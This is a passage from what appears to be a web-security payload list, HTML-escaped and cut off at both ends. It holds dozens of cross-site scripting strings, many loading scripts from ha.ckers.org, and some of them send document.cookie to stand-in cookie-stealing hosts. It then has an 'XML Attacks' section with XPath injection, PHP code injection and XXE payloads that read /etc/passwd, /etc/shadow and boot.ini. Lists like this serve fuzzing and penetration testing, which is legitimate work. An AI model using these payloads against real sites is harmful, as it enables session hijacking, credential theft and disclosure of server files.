SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; 